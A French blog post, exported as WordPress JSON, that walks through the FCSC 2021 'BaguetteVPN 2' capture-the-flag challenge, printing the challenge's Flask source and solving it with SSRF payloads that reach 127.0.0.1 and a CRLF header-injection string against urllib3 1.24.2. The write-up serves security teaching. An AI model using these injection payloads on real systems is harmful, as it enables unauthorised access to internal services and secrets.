{"id":1618,"date":"2021-05-03T19:41:00","date_gmt":"2021-05-03T17:41:00","guid":{"rendered":"https:\/\/mikadmin.fr\/blog\/?p=1618"},"modified":"2021-09-19T01:43:23","modified_gmt":"2021-09-18T23:43:23","slug":"fcsc-2021-baguettevpn-2","status":"publish","type":"post","link":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/","title":{"rendered":"FCSC 2021 : BaguetteVPN 2"},"content":{"rendered":"<span class=\"span-reading-time rt-reading-time\" style=\"display: block;\"><span class=\"rt-label rt-prefix\"><\/span> <span class=\"rt-time\"> 3<\/span> <span class=\"rt-label rt-postfix\">min read<\/span><\/span><p>Views: 1050<\/p>\n<div style=\"height:40px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">On va voir dans cet article, le challenge <strong>BaguetteVPN n\u00b02<\/strong> du <strong>FCSC 2021<\/strong> (<strong><a href=\"https:\/\/www.ssi.gouv.fr\/actualite\/participez-au-france-cybersecurity-challenge-fcsc-et-qualifiez-vous-pour-integrer-lequipe-france\/\" target=\"_blank\" rel=\"noreferrer noopener\">France Cybersecurity Challenge<\/a><\/strong>).<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Voici la description du challenge :<\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"498\" height=\"484\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image.png\" alt=\"\" class=\"wp-image-1622\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image.png 498w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-300x292.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-150x146.png 150w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-50x50.png 50w\" sizes=\"auto, (max-width: 498px) 100vw, 498px\" \/><\/figure><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Ce dernier \u00e9tant la suite du premier challenge nous trouvons donc des informations dans le code source :<\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-1.png\" alt=\"fcsc 2021\" class=\"wp-image-1623\" width=\"491\" height=\"358\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-1.png 904w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-1-300x219.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-1-150x110.png 150w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-1-768x561.png 768w\" sizes=\"auto, (max-width: 491px) 100vw, 491px\" \/><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"404\" height=\"254\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-2.png\" alt=\"\" class=\"wp-image-1624\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-2.png 404w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-2-300x189.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-2-150x94.png 150w\" sizes=\"auto, (max-width: 404px) 100vw, 404px\" \/><\/figure><\/div>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">On retrouve donc le script utilis\u00e9 pour ce challenge dans <a href=\"http:\/\/challenges2.france-cybersecurity-challenge.fr:5002\/api\/debug\" target=\"_blank\" rel=\"noreferrer noopener\">http:\/\/challenges2.france-cybersecurity-challenge.fr:5002\/api\/debug<\/a> :<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"256\" height=\"39\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-3.png\" alt=\"\" class=\"wp-image-1625\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-3.png 256w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-3-150x23.png 150w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-3-250x39.png 250w\" sizes=\"auto, (max-width: 256px) 100vw, 256px\" \/><\/figure><\/div>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-python\" data-line=\"\"># \/usr\/bin\/env python3\n# -*- coding:utf-8 -*-\n# -*- requirements:requirements.txt -*-\n\n# Congrats! Here is the flag for Baguette VPN 1\/2\n#   FCSC{e5e3234f8dae908461c6ee777ee329a2c5ab3b1a8b277ff2ae288743bbc6d880}\n\nimport os\nimport urllib3\nimport sys\nfrom flask import Flask, request, jsonify, Response\napp = Flask(__name__)\n\n\n@app.route(&#039;\/&#039;)\ndef index():\n    with open(&#039;index.html&#039;, &#039;r&#039;) as myfile:\n        return myfile.read()\n\n\n@app.route(&#039;\/api&#039;)\ndef api():\n    return Response(&#039;OK&#039;, status=200)\n\n\n@app.route(&quot;\/api\/image&quot;)\ndef image():\n    filename = request.args.get(&quot;fn&quot;)\n    if filename:\n        http = urllib3.PoolManager()\n        return http.request(&#039;GET&#039;, &#039;http:\/\/baguette-vpn-cdn&#039; + filename).data\n    else:\n        return Response(&#039;Param\u00e8tre manquant&#039;, status=400)\n\n\n@app.route(&quot;\/api\/secret&quot;)\ndef admin():\n    if request.remote_addr == &#039;127.0.0.1&#039;:\n        if request.headers.get(&#039;X-API-KEY&#039;) == &#039;b99cc420eb25205168e83190bae48a12&#039;:\n            return jsonify({&quot;secret&quot;: os.getenv(&#039;FLAG&#039;)})\n        return Response(&#039;Interdit: mauvaise cl\u00e9 d\\&#039;API&#039;, status=403)\n    return Response(&#039;Interdit: mauvaise adresse IP&#039;, status=403)\n\n\n@app.route(&quot;\/api\/debug&quot;)\ndef debug():\n    data = {}\n    for k, v in globals().copy().items():\n        if not isinstance(v, str):\n            data[k] = str(dir(v))\n        else:\n            data[k] = v\n    data[&#039;__version__&#039;] = sys.version\n    return jsonify(data)\n\n\n@app.route(&#039;\/&lt;path:path&gt;&#039;)\ndef load_page(path):\n    if &#039;..&#039; in path:\n        return Response(&#039;Interdit&#039;, status=403)\n    try:\n        with open(path, &#039;r&#039;) as myfile:\n            mime = &#039;text\/&#039; + path.split(&#039;.&#039;)[-1]\n            return Response(myfile.read(), mimetype=mime)\n    except Exception as e:\n        return Response(str(e), status=404)\n\n\nif __name__ == &#039;__main__&#039;:\n    app.run(host=&#039;0.0.0.0&#039;, port=os.getenv(&#039;FLASK_LOCAL_PORT&#039;))<\/code><\/pre>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Les deux parties qui nous int\u00e9ressent sont :<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-python\" data-line=\"\">@app.route(&quot;\/api\/image&quot;)\ndef image():\n    filename = request.args.get(&quot;fn&quot;)\n    if filename:\n        http = urllib3.PoolManager()\n        return http.request(&#039;GET&#039;, &#039;http:\/\/baguette-vpn-cdn&#039; + filename).data\n    else:\n        return Response(&#039;Param\u00e8tre manquant&#039;, status=400)\n\n\n@app.route(&quot;\/api\/secret&quot;)\ndef admin():\n    if request.remote_addr == &#039;127.0.0.1&#039;:\n        if request.headers.get(&#039;X-API-KEY&#039;) == &#039;b99cc420eb25205168e83190bae48a12&#039;:\n            return jsonify({&quot;secret&quot;: os.getenv(&#039;FLAG&#039;)})\n        return Response(&#039;Interdit: mauvaise cl\u00e9 d\\&#039;API&#039;, status=403)\n    return Response(&#039;Interdit: mauvaise adresse IP&#039;, status=403)<\/code><\/pre>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Afin de r\u00e9cup\u00e9rer le <a href=\"https:\/\/mikadmin.fr\/blog\/tryhackme-overpass-3\/\" target=\"_blank\" rel=\"noreferrer noopener\">flag<\/a> sur <strong><span style=\"color:#9b51e0\" class=\"tadv-color\">\/api\/secret<\/span><\/strong> il faut venir en provenance de<span style=\"color:#cf2e2e\" class=\"tadv-color\"> <strong>127.0.0.1<\/strong><\/span> et envoyer un <strong>header avec l&rsquo;API KEY<\/strong>.<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">C&rsquo;est l\u00e0 que nous allons utiliser l&rsquo;<strong>api image<\/strong> qui fait une requ\u00eate <strong><span style=\"color:#0693e3\" class=\"tadv-color\">GET<\/span><\/strong> sur <strong><span style=\"color:#00d084\" class=\"tadv-color\">http:\/\/baguette-vpn-cdn<\/span><\/strong> et le param\u00e8tre<span style=\"color:#cf2e2e\" class=\"tadv-color\"> <strong>fn<\/strong><\/span> que nous lui fournissons, pour venir en provenance de <strong><span style=\"color:#cf2e2e\" class=\"tadv-color\">127.0.0.1<\/span><\/strong> nous pouvons par exemple enregistrer un <strong>sous-domaine<\/strong> qui commence par <strong><span style=\"color:#00d084\" class=\"tadv-color\">baguette-vpn-cdn<\/span><\/strong> et qui pointe sur <strong>127.0.0.1<\/strong> :<\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-5.png\" alt=\"\" class=\"wp-image-1629\" width=\"417\" height=\"220\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-5.png 585w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-5-300x158.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-5-150x79.png 150w\" sizes=\"auto, (max-width: 417px) 100vw, 417px\" \/><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-6.png\" alt=\"\" class=\"wp-image-1630\" width=\"425\" height=\"240\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-6.png 586w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-6-300x169.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-6-150x85.png 150w\" sizes=\"auto, (max-width: 425px) 100vw, 425px\" \/><\/figure><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center\" style=\"font-size:19px\">Et donc en utilisant comme param\u00e8tre<strong> .bookctf.eu<\/strong> ceci nous redirige vers le <strong><span style=\"color:#cf2e2e\" class=\"tadv-color\">127.0.0.1<\/span><\/strong> :<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-markup\" data-line=\"\">http:\/\/baguette-vpn-cdn.bookctf.eu<\/code><\/pre>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Avec un peu de flair et l&rsquo;indice qui nous dit que le <strong>port est inf\u00e9rieur \u00e0 2000<\/strong> on peut donc supposer que c&rsquo;est le fameux<span style=\"color:#cf2e2e\" class=\"tadv-color\"> <strong>1337<\/strong><\/span> ou bien avec une petite boucle testant chaque port de 1 \u00e0 2000.<\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-7.png\" alt=\"\" class=\"wp-image-1631\" width=\"836\" height=\"150\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-7.png 836w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-7-300x54.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-7-150x27.png 150w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-7-768x138.png 768w\" sizes=\"auto, (max-width: 836px) 100vw, 836px\" \/><\/figure><\/div>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Il est \u00e9galement possible d&rsquo;utiliser une m\u00e9thode plus facile avec des payloads comme :<\/p>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-markdown\" data-line=\"\">whatever.localhost:1337\/api\/secret\n@localhost:1337\/api\/secret\n@127.0.0.1\/api\/secret\n.localtest.me:1337\/api\/secret<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator is-style-default\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">On a donc pass\u00e9 la<strong> premi\u00e8re condition<\/strong> et pour la derni\u00e8re il s&rsquo;agit d&rsquo;exploiter la <strong>faille <a href=\"https:\/\/www.acunetix.com\/websitesecurity\/crlf-injection\/\" target=\"_blank\" rel=\"noreferrer noopener\">CRLF<\/a><\/strong> et on trouve une bonne piste gr\u00e2ce au fichier <strong>requirements.txt<\/strong> qui nous donne la version du module <strong><span style=\"color:#ff6900\" class=\"tadv-color\">urllib3<\/span><\/strong> (<strong><span style=\"color:#00d084\" class=\"tadv-color\">1.24.2<\/span><\/strong>) et \u00e0 ce <a href=\"https:\/\/github.com\/urllib3\/urllib3\/issues\/1553\" target=\"_blank\" rel=\"noreferrer noopener\">lien<\/a> exploitant une <strong><span style=\"color:#fcb900\" class=\"tadv-color\">CRLF<\/span><\/strong> dans le module <strong><span style=\"color:#ff6900\" class=\"tadv-color\">urllib3<\/span><\/strong> qui est utilis\u00e9 par notre script.<\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"623\" height=\"177\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-8.png\" alt=\"\" class=\"wp-image-1632\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-8.png 623w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-8-300x85.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-8-150x43.png 150w\" sizes=\"auto, (max-width: 623px) 100vw, 623px\" \/><\/figure><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Nous pouvons donc injecter notre <strong>header<\/strong> permettant de r\u00e9cup\u00e9rer le flag gr\u00e2ce \u00e0 ce <strong>payload<\/strong> :<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-markdown\" data-line=\"\">%20HTTP\/1.1%0D%0AX-API-KEY:%20b99cc420eb25205168e83190bae48a12%0D%0AIgnore:<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size\">Et on r\u00e9cup\u00e8re donc ce fameux flag !<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-markdown\" data-line=\"\">http:\/\/challenges2.france-cybersecurity-challenge.fr:5002\/api\/image?fn=.bookctf.eu:1337\/api\/secret%20HTTP\/1.1%0D%0AX-API-KEY:%20b99cc420eb25205168e83190bae48a12%0D%0AIgnore:<\/code><\/pre>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"684\" height=\"99\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-10.png\" alt=\"\" class=\"wp-image-1634\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-10.png 684w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-10-300x43.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-10-150x22.png 150w\" sizes=\"auto, (max-width: 684px) 100vw, 684px\" \/><\/figure><\/div>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n","protected":false},"excerpt":{"rendered":"<p><span class=\"span-reading-time rt-reading-time\" style=\"display: block;\"><span class=\"rt-label rt-prefix\"><\/span> <span class=\"rt-time\"> 3<\/span> <span class=\"rt-label rt-postfix\">min read<\/span><\/span>Voici le write up du challenge Baguette VPN n\u00b02 du France Cybersecurity Challenge (FCSC 2021)<\/p>\n<p>Le but est de r\u00e9cup\u00e9rer le secret contenu dans l&rsquo;API. <a href=\"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/\" class=\"more-link\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":1620,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_themeisle_gutenberg_block_has_review":false,"footnotes":""},"categories":[4],"tags":[62,21,61,45,15,60,63],"class_list":["post-1618","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-infosec","tag-crlf","tag-ctf","tag-fcsc","tag-pentest","tag-python","tag-web","tag-writeup"],"aioseo_notices":[],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/posts\/1618","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/comments?post=1618"}],"version-history":[{"count":0,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/posts\/1618\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/media\/1620"}],"wp:attachment":[{"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/media?parent=1618"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/categories?post=1618"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/tags?post=1618"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}